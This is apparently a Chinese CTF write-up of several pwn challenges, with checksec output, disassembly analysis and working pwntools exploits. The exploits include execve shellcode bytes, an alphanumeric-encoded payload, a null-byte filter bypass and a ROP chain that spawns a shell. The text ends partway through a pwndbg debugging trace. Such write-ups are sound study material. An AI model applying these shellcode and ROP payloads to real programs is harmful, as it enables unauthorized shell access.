CTFshow
pwn64
32位,开了栈不可执行
C:\Users\26597\Desktop\pwn附件>checksec pwn64
[*] 'C:\Users\26597\Desktop\pwn附件\pwn64'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
进入IDA分析
main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [esp+8h] [ebp-10h]
buf = mmap(0, 0x400u, 7, 34, 0, 0);
alarm(0xAu);
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
puts("Some different!");
if ( read(0, buf, 0x400u) < 0 )
{
puts("Illegal entry!");
exit(1);
}
((void (*)(void))buf)();
return 0;
}
buf = mmap(0, 0x400u, 7, 34, 0, 0);
这里给到buf的权限值为7
也就是可读可写可执行
那就爽了
虽然栈不可执行,但是buf可读可写可执行
写个shellcode传入buf就好了
32位,exp:
from pwn import *
p = remote("pwn.challenge.ctf.show" ,28170)
payload = asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
# from pwn import *
# p = remote("pwn.challenge.ctf.show" ,28170)
# payload = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
# p.sendline(payload)
# p.interactive() 换用成这个payload也行,反正都是shellcode
ctfshow@ubuntu:~/Desktop/xd$ python pwn64.py
[+] Opening connection to pwn.challenge.ctf.show on port 28170: Done
[*] Switching to interactive mode
Some different!
$ ls
bin
boot
ctfshow_flag
dev
etc
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
start.sh
sys
tmp
usr
var
[*] Got EOF while reading in interactive
$ cat ctfshow_flag
$
但是莫名其妙的
明明通了,但是ls过后立马就EOF了
查佬博客,说是有计时器
纯手速呗()
直接cat就好了
ctfshow{fc607680-4116-49b5-9072-342b0cd71dd0}
pwn65
[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\pwn65'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No
PIE存在,无canary
RELRO全开,有RWX
无法反汇编,看main函数汇编代码:
.text:0000000000001155 main proc near ; DATA XREF: _start+1D↑o
.text:0000000000001155
.text:0000000000001155 buf = byte ptr -410h "这里等价于void *buf; // [esp+8h] [ebp-410h]"
.text:0000000000001155 var_8 = dword ptr -8
.text:0000000000001155 var_4 = dword ptr -4
.text:0000000000001155
.text:0000000000001155 ; __unwind {
.text:0000000000001155 push rbp
.text:0000000000001156 mov rbp, rsp
.text:0000000000001159 sub rsp, 410h
.text:0000000000001160 mov edx, 14h ; n
.text:0000000000001165 lea rsi, aInputYouShellc ; "Input you Shellcode\n"
.text:000000000000116C mov edi, 1 ; fd
.text:0000000000001171 mov eax, 0
.text:0000000000001176 call _write
.text:000000000000117B lea rax, [rbp+buf] "Load Effective Address"
.text:0000000000001182 mov edx, 400h ; nbytes
.text:0000000000001187 mov rsi, rax ; buf
.text:000000000000118A mov edi, 0 ; fd "这三行得到的效果等价于read(0,buf,0x400)"
.text:000000000000118F mov eax, 0
.text:0000000000001194 call _read "eax存储读到的字符串长度(_read的返回值为读取到的字符串的长度)"
.text:0000000000001199 mov [rbp+var_8], eax "[rbp+var_8]赋值为eax,即读取到的字符数"
.text:000000000000119C cmp [rbp+var_8], 0 "compare,cmp,比较[rbp+var_8]和0"
.text:00000000000011A0 jg short loc_11AC "jg,jump if greater,大于则跳转,大于跳转到loc_11AC"
.text:00000000000011A2 mov eax, 0 "如果不大于继续下面操作"
.text:00000000000011A7 jmp locret_1254 "跳转到locret_1254"
.text:00000000000011AC ; ---------------------------------------------------------------------------
这里有两个跳转路径,一个通向loc_11AC
另外一个通向locret_1254
先看底下那条路径,也就是1254
.text:0000000000001254 locret_1254: ; CODE XREF: main+52↑j
.text:0000000000001254 ; main+DF↑j
.text:0000000000001254 leave
.text:0000000000001255 retn
这里直接进行了leave后retn了
然后程序就此中断,所以只能走上面的路径
从loc_11AC跳转后,还会继续进行跳转
.text:00000000000011AC loc_11AC: ; CODE XREF: main+4B↑j
.text:00000000000011AC mov [rbp+var_4], 0
.text:00000000000011B3 jmp loc_123A
loc_123A:
.text:000000000000123A loc_123A: ; CODE XREF: main+5E↑j
.text:000000000000123A mov eax, [rbp+var_4]
.text:000000000000123D cmp eax, [rbp+var_8]
.text:0000000000001240 jl loc_11B8 "jump if less"
.text:0000000000001246 lea rax, [rbp+buf]
.text:000000000000124D call rax
.text:000000000000124F mov eax, 0
cmp比较eax和[rbp+var_8] eax被复制为:[rbp+var_4]
这里得倒回去看loc_11AC,[rbp+var_4]被赋值为了0
所以这里的比较实则是0和[rbp+var_8]的比较
如果0比[rbp+var_8]小,则会跳转到loc_11B8
如果等于或相等则会继续操作
但是也知道[rbp+var_8]的内容就是我们输入的内容的长度
输入长度不可能小于或等于0的,因为我们需要传入shellcode
所以必然产生跳转,跳转进loc_11B8
.text:00000000000011B8 loc_11B8: ; CODE XREF: main+EB↓j
.text:00000000000011B8 mov eax, [rbp+var_4]
.text:00000000000011BB cdqe "Convert Doubleword to Quadword"
.text:00000000000011BD movzx eax, [rbp+rax+buf] "Move with Zero-Extend"
.text:00000000000011C5 cmp al, 60h ; '`'
.text:00000000000011C7 jle short loc_11DA "jump if less or equal"
.text:00000000000011C9 mov eax, [rbp+var_4]
.text:00000000000011CC cdqe
.text:00000000000011CE movzx eax, [rbp+rax+buf]
.text:00000000000011D6 cmp al, 7Ah ; 'z'
.text:00000000000011D8 jle short loc_1236
Convert Doubleword to Quadword:“将双字(32位)扩展为四字(64位)”
cdqe
指令将 32 位寄存器 eax
的值符号扩展到 64 位寄存器 rax
中。也就是说,它会根据 eax
的符号位(最高位)来填充 rax
的高 32 位。
- 如果
eax
是正数或零,rax
的高 32 位会被填充为 0。 - 如果
eax
是负数,rax
的高 32 位会被填充为 1(即保持负数的符号)。
Move with Zero-Extend:movzx
是一条数据移动指令,它的全称是 “Move with Zero-Extend”,意思是“移动并零扩展”。
movzx
指令将一个较小的数据类型(如 8 位、16 位或 32 位)的值移动到一个较大的数据类型(如 32 位或 64 位)的寄存器中,并用零填充高位。这确保了目标寄存器中的值是非负的。
现在已知[rbp+var_4]是0,eax赋值为[rbp+var_4],也是0了
cdqe指令过后,eax的值符号扩展到rax中,而eax的值为0,符号位上的值也就是0(表示非负)
也就是说rax的高32位会被0填充,低32位等于32位寄存器的eax的值
所以直接产生的效果是:rax的值仍然为0
然后再通过movzx指令赋值rbp+rax+buf的内容到eax中
_read
从标准输入读取了一些数据到 buf
,那么 [rbp+buf]
中存储的是第一个字节的内容
rax又为0,所以直接的效果就是rbp+rax+buf = rbp + buf =标准输入进去并存储的第一个字节的内容
现在cmp就在对字节进行比较,al就是rax寄存器的低8位
而rax的低8位也就是其最末尾的低8位
al的值小于或等于0x60就会跳转loc_11DA
大于则继续执行
又一次eax赋值为[rbp+var_4],相当于确保eax的值仍然为0
类似的两步操作过后再进行比较,如果字符内容的16进制表达式小于或等于0x7A,就会跳转到loc_1236
.text:0000000000001236 loc_1236: ; CODE XREF: main+83↑j
.text:0000000000001236 ; main+A5↑j ...
.text:0000000000001236 add [rbp+var_4], 1
而loc_1236会将[rbp+var_4]加一
处理完后,会继续下一步指令
.text:000000000000123A
.text:000000000000123A loc_123A: ; CODE XREF: main+5E↑j
.text:000000000000123A mov eax, [rbp+var_4]
.text:000000000000123D cmp eax, [rbp+var_8]
.text:0000000000001240 jl loc_11B8
.text:0000000000001246 lea rax, [rbp+buf]
.text:000000000000124D call rax
.text:000000000000124F mov eax, 0
这里步入loc_123A后,把eax赋值为[rbp+var_4]
此时的[rbp+var_4]就从0变为了1,然后和[rbp+var_8]进行大小比较
[rbp+var_8]是读取到的字符串长度
所以会小于,跳转loc_11B8
就此循环往复
直到[rbp+var_4] = [rbp+var_8],也就是比较进行到最后一个字符串字符时,并完成整个流程后,才能步入lea rax,[rbp + buf]
最后进行call rax
所以对shellcode的限制就是输入的shellcode字符内容必须全部在0x60~0x7A
(当然还有另外两个判断路径,不再赘述,一个拿到的目标范围是0x2F~0X5A,一个是0X40~0X5A,合并起来就是0x2F~0X5A)
这个就是要求输入的shellcode为可见字符,利用alpha3生成
首先利用pwntools生成一个shellcode
from pwn import *
context.arch='amd64'
sc = asm(shellcraft.sh())
with open('sc', 'bw') as f:
f.write(sc)
将上述代码保存成sc.py放到alpha3目录下,然后执行如下命令生成待编码的shellcode文件
cd alpha3
python3 sc.py > sc
使用alpha3生成string.printable (这里得用 python2)
python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc"
因为 call rax ,所以 base 是 rax,得到
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H
最终exp:
from pwn import *
io = remote("pwn.challenge.ctf.show",28261)
payload = b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(payload)
io.interactive()
(不能用sendline,因为换行符是0x10,不在字符串可接受范围内)
pwn66
[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\pwn66'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
main函数看着是很普通的传入shellcode就能通的情况
但是存在一个检查机制
进入check函数
__
int64 __fastcall check(_BYTE *a1)
{
_BYTE *i; // [rsp+18h] [rbp-10h]
while ( *a1 )
{
for ( i = &unk_400F20; *i && *i != *a1; ++i )
;
if ( !*i )
return 0LL;
++a1;
}
return 1LL;
}
这段代码是一个函数 check
,它的作用是检查输入的字符串 a1
中的每个字符是否都存在于一个特定的字符数组 unk_400F20
中。如果所有字符都存在,则返回 1
,否则返回 0
。以下是详细的逻辑解释:
1. 函数参数和局部变量
- 参数:
_BYTE *a1
:指向输入字符串的指针。
- 局部变量:
_BYTE *i
:用于遍历unk_400F20
数组的指针。
2. 外层循环:遍历输入字符串 a1
while ( *a1 )
- 这个循环会逐个检查输入字符串
a1
中的每个字符,直到遇到字符串的结束标志(即*a1 == 0
,表示字符串结束)。 a1
指针会逐个字符向后移动(++a1
)。
3. 内层循环:检查当前字符是否在 unk_400F20
中
for ( i = &unk_400F20; *i && *i != *a1; ++i )
i
指针初始化为指向unk_400F20
的起始位置。- 这个循环会逐个检查
unk_400F20
中的字符,直到:- 找到与当前
a1
指向的字符相同的字符(*i == *a1
)。 - 或者到达
unk_400F20
的末尾(*i == 0
,表示数组结束)。
- 找到与当前
4. 判断逻辑
- 如果在
unk_400F20
中找到了与当前a1
指向的字符相同的字符(*i == *a1
),则继续检查下一个字符(++a1
)。 - 如果在
unk_400F20
中没有找到与当前a1
指向的字符相同的字符(*i == 0
),则直接返回0LL
,表示输入字符串中有字符不在unk_400F20
中。
5. 返回值
- 如果输入字符串
a1
中的所有字符都在unk_400F20
中,则循环会正常结束,函数返回1LL
。 - 如果输入字符串中有任何一个字符不在
unk_400F20
中,则函数会提前返回0LL
。
总结
这个函数的作用是检查输入字符串 a1
中的每个字符是否都存在于一个预定义的字符数组 unk_400F20
中。如果所有字符都存在,则返回 1
,否则返回 0
。
所以跟进unk_400F20
unk_400F20里面存在一定的字符
这种情况下有两种传入shellcode的方法
1.while(*a),也就是我们一般写代码的思路,遇到\x00就不校验了,所以如果shellcode以\x00开头就可以直接绕过
通过\x00绕过检查, 同时执行我们输入的shellcode就好,\x00B后面加上一个字符, 对应一个汇编语句。所以我们可以通过\x00B\x22、\x00B\x00 、\x00J\x00等等来绕过那个检查。
2.可见字符shellcode
这里给出的exp是绕过的方法
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28128)
shellcode = '\x00\xc0' + asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()
其他题目
gift (gets✌)
[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\复现平台\\basectf\\gift'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
from pwn import *
from struct import pack
io = remote("gz.imxbt.cn",20215)
# Padding goes here
p = b''
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000419484) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f2eb) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall
payload = b'a' *(0x20+8) + p
io.sendlineafter("same",payload)
io.interactive()
第一次知道ROP链这种题目可以直接交给ROPgadget进行一把梭
ROPgadget --binary gift --ropchain
这样就好了
orz! (gets✌)
shellcode_level0
传入shellcode就可以
from pwn import *
p = remote("gz.imxbt.cn",20373)
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
p.sendlineafter('shellcode:',shellcode)
p.interactive()
shellcode_level1
checksec
64位,考点很明显就是传shellcode
main函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+0h] [rbp-10h]
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( buf == (void *)-1LL )
{
perror("mmap failed");
return 1;
}
else
{
read(0, buf, 2uLL);
((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);
if ( munmap(buf, 0x1000uLL) == -1 )
{
perror("munmap failed");
return 1;
}
else
{
return 0;
}
}
}
buf区因为mmap函数,被判定为可读可写可执行
原本是可以直接传入shellcode进buf区的
但是
read(0, buf, 2uLL);
只能读两字节的buf区内容
((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);
这一行,让buf区的内容可以被当作一个函数来执行
但是我们仍然没办法利用buf区传入shellcode达到提权的效果
补药啊😫😫😫 两字节怎么写系统调用
丢掉工具,返璞归真。尝试着从汇编角度思考思考?
试着动态调试观察下寄存器的值?
题干如是说
所以倒回去看IDA和利用gdb进行动态调试
((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);
这一句,在反汇编之前的写法是:
.text:0000000000001255 call rcx
这句就是在把buf内容当函数进行执行
用gdb调试
gdb(io,'b *$ rebase(0x1255)' ) //$rebase在调试开PIE的程序的时候可以直接加上程序的随机地址
实际调试流程:
------- tip of the day (disable with set show-tips off) -------
Pwndbg mirrors some of Windbg commands like eq, ew, ed, eb, es, dq, dw, dd, db, ds for writing and reading memory
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 0xfffffffffffffe00
RBX 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
RCX 0x7f8da88496dd (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 2
RDI 0
RSI 0x7f8da8956000 ◂— 0
R8 0xffffffff
R9 0
R10 0x22
R11 0x246
R12 0
R13 0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14 0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15 0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP 0x7ffdb3a241b0 ◂— 1
RSP 0x7ffdb3a24198 —▸ 0x5638c4102240 (main+119) ◂— mov rsi, qword ptr [rbp - 0x10]
RIP 0x7f8da88496dd (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x7f8da88496dd <read+13> cmp rax, -0x1000 0xfffffffffffffe00 - -0x1000 EFLAGS => 0x206 [ cf PF af zf sf IF df of ]
0x7f8da88496e3 <read+19> ✔ ja read+112 <read+112>
↓
0x7f8da8849740 <read+112> mov rdx, qword ptr [rip + 0xe36b9] RDX, [_GLOBAL_OFFSET_TABLE_+640] => 0xffffffffffffff88
0x7f8da8849747 <read+119> neg eax
0x7f8da8849749 <read+121> mov dword ptr fs:[rdx], eax [0x7f8da87436c8] <= 0x200
0x7f8da884974c <read+124> mov rax, 0xffffffffffffffff RAX => 0xffffffffffffffff
0x7f8da8849753 <read+131> ret <main+119>
↓
0x5638c4102240 <main+119> mov rsi, qword ptr [rbp - 0x10] RSI, [0x7ffdb3a241a0] => 0x7f8da8956000 ◂— 0
0x5638c4102244 <main+123> mov rcx, rsi RCX => 0x7f8da8956000 ◂— 0
0x5638c4102247 <main+126> mov rdx, 0x500 RDX => 0x500
0x5638c410224e <main+133> mov rax, 0 RAX => 0
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffdb3a24198 —▸ 0x5638c4102240 (main+119) ◂— mov rsi, qword ptr [rbp - 0x10]
01:0008│-010 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0
02:0010│-008 0x7ffdb3a241a8 ◂— 0xca8ba5bd102a5400
03:0018│ rbp 0x7ffdb3a241b0 ◂— 1
04:0020│+008 0x7ffdb3a241b8 —▸ 0x7f8da876fd68 (__libc_start_call_main+120) ◂— mov edi, eax
05:0028│+010 0x7ffdb3a241c0 —▸ 0x7ffdb3a242b0 —▸ 0x7ffdb3a242b8 ◂— 0x38 /* '8' */
06:0030│+018 0x7ffdb3a241c8 —▸ 0x5638c41021c9 (main) ◂— endbr64
07:0038│+020 0x7ffdb3a241d0 ◂— 0x1c4101040
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x7f8da88496dd read+13
1 0x5638c4102240 main+119
2 0x7f8da876fd68 __libc_start_call_main+120
3 0x7f8da876fe25 __libc_start_main+133
4 0x5638c4102105 _start+37
────────────────────────────────────────────────────────────────────────────────
pwndbg> fin
Run till exit from #0 0x00007f8da88496dd in __GI___libc_read (fd=0,
buf=0x7f8da8956000, nbytes=2) at ../sysdeps/unix/sysv/linux/read.c:26
0x00005638c4102240 in main ()
Value returned is $1 = 2
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 2
RBX 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
RCX 0x7f8da88496dd (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 2
RDI 0
RSI 0x7f8da8956000 ◂— 0x50f
R8 0xffffffff
R9 0
R10 0x22
R11 0x246
R12 0
R13 0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14 0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15 0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP 0x7ffdb3a241b0 ◂— 1
*RSP 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
*RIP 0x5638c4102240 (main+119) ◂— mov rsi, qword ptr [rbp - 0x10]
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x7f8da8849740 <read+112> mov rdx, qword ptr [rip + 0xe36b9] RDX, [_GLOBAL_OFFSET_TABLE_+640] => 0xffffffffffffff88
0x7f8da8849747 <read+119> neg eax
0x7f8da8849749 <read+121> mov dword ptr fs:[rdx], eax [0x7f8da87436c8] <= 0x200
0x7f8da884974c <read+124> mov rax, 0xffffffffffffffff RAX => 0xffffffffffffffff
0x7f8da8849753 <read+131> ret <main+119>
↓
► 0x5638c4102240 <main+119> mov rsi, qword ptr [rbp - 0x10] RSI, [0x7ffdb3a241a0] => 0x7f8da8956000 ◂— 0x50f
0x5638c4102244 <main+123> mov rcx, rsi RCX => 0x7f8da8956000 ◂— 0x50f
0x5638c4102247 <main+126> mov rdx, 0x500 RDX => 0x500
0x5638c410224e <main+133> mov rax, 0 RAX => 0
0x5638c4102255 <main+140> call rcx <0x7f8da8956000>
0x5638c4102257 <main+142> mov rax, qword ptr [rbp - 0x10]
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
01:0008│-008 0x7ffdb3a241a8 ◂— 0xca8ba5bd102a5400
02:0010│ rbp 0x7ffdb3a241b0 ◂— 1
03:0018│+008 0x7ffdb3a241b8 —▸ 0x7f8da876fd68 (__libc_start_call_main+120) ◂— mov edi, eax
04:0020│+010 0x7ffdb3a241c0 —▸ 0x7ffdb3a242b0 —▸ 0x7ffdb3a242b8 ◂— 0x38 /* '8' */
05:0028│+018 0x7ffdb3a241c8 —▸ 0x5638c41021c9 (main) ◂— endbr64
06:0030│+020 0x7ffdb3a241d0 ◂— 0x1c4101040
07:0038│+028 0x7ffdb3a241d8 —▸ 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x5638c4102240 main+119
1 0x7f8da876fd68 __libc_start_call_main+120
2 0x7f8da876fe25 __libc_start_main+133
3 0x5638c4102105 _start+37
────────────────────────────────────────────────────────────────────────────────
pwndbg> ni
0x00005638c4102244 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 2
RBX 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
RCX 0x7f8da88496dd (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 2
RDI 0
RSI 0x7f8da8956000 ◂— 0x50f
R8 0xffffffff
R9 0
R10 0x22
R11 0x246
R12 0
R13 0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14 0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15 0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP 0x7ffdb3a241b0 ◂— 1
RSP 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
*RIP 0x5638c4102244 (main+123) ◂— mov rcx, rsi
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x7f8da8849747 <read+119> neg eax
0x7f8da8849749 <read+121> mov dword ptr fs:[rdx], eax [0x7f8da87436c8] <= 0x200
0x7f8da884974c <read+124> mov rax, 0xffffffffffffffff RAX => 0xffffffffffffffff
0x7f8da8849753 <read+131> ret <main+119>
↓
0x5638c4102240 <main+119> mov rsi, qword ptr [rbp - 0x10] RSI, [0x7ffdb3a241a0] => 0x7f8da8956000 ◂— 0x50f
► 0x5638c4102244 <main+123> mov rcx, rsi RCX => 0x7f8da8956000 ◂— 0x50f
0x5638c4102247 <main+126> mov rdx, 0x500 RDX => 0x500
0x5638c410224e <main+133> mov rax, 0 RAX => 0
0x5638c4102255 <main+140> call rcx <0x7f8da8956000>
0x5638c4102257 <main+142> mov rax, qword ptr [rbp - 0x10]
0x5638c410225b <main+146> mov esi, 0x1000 ESI => 0x1000
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
01:0008│-008 0x7ffdb3a241a8 ◂— 0xca8ba5bd102a5400
02:0010│ rbp 0x7ffdb3a241b0 ◂— 1
03:0018│+008 0x7ffdb3a241b8 —▸ 0x7f8da876fd68 (__libc_start_call_main+120) ◂— mov edi, eax
04:0020│+010 0x7ffdb3a241c0 —▸ 0x7ffdb3a242b0 —▸ 0x7ffdb3a242b8 ◂— 0x38 /* '8' */
05:0028│+018 0x7ffdb3a241c8 —▸ 0x5638c41021c9 (main) ◂— endbr64
06:0030│+020 0x7ffdb3a241d0 ◂— 0x1c4101040
07:0038│+028 0x7ffdb3a241d8 —▸ 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x5638c4102244 main+123
1 0x7f8da876fd68 __libc_start_call_main+120
2 0x7f8da876fe25 __libc_start_main+133
3 0x5638c4102105 _start+37
────────────────────────────────────────────────────────────────────────────────
pwndbg>
0x00005638c4102247 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 2
RBX 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
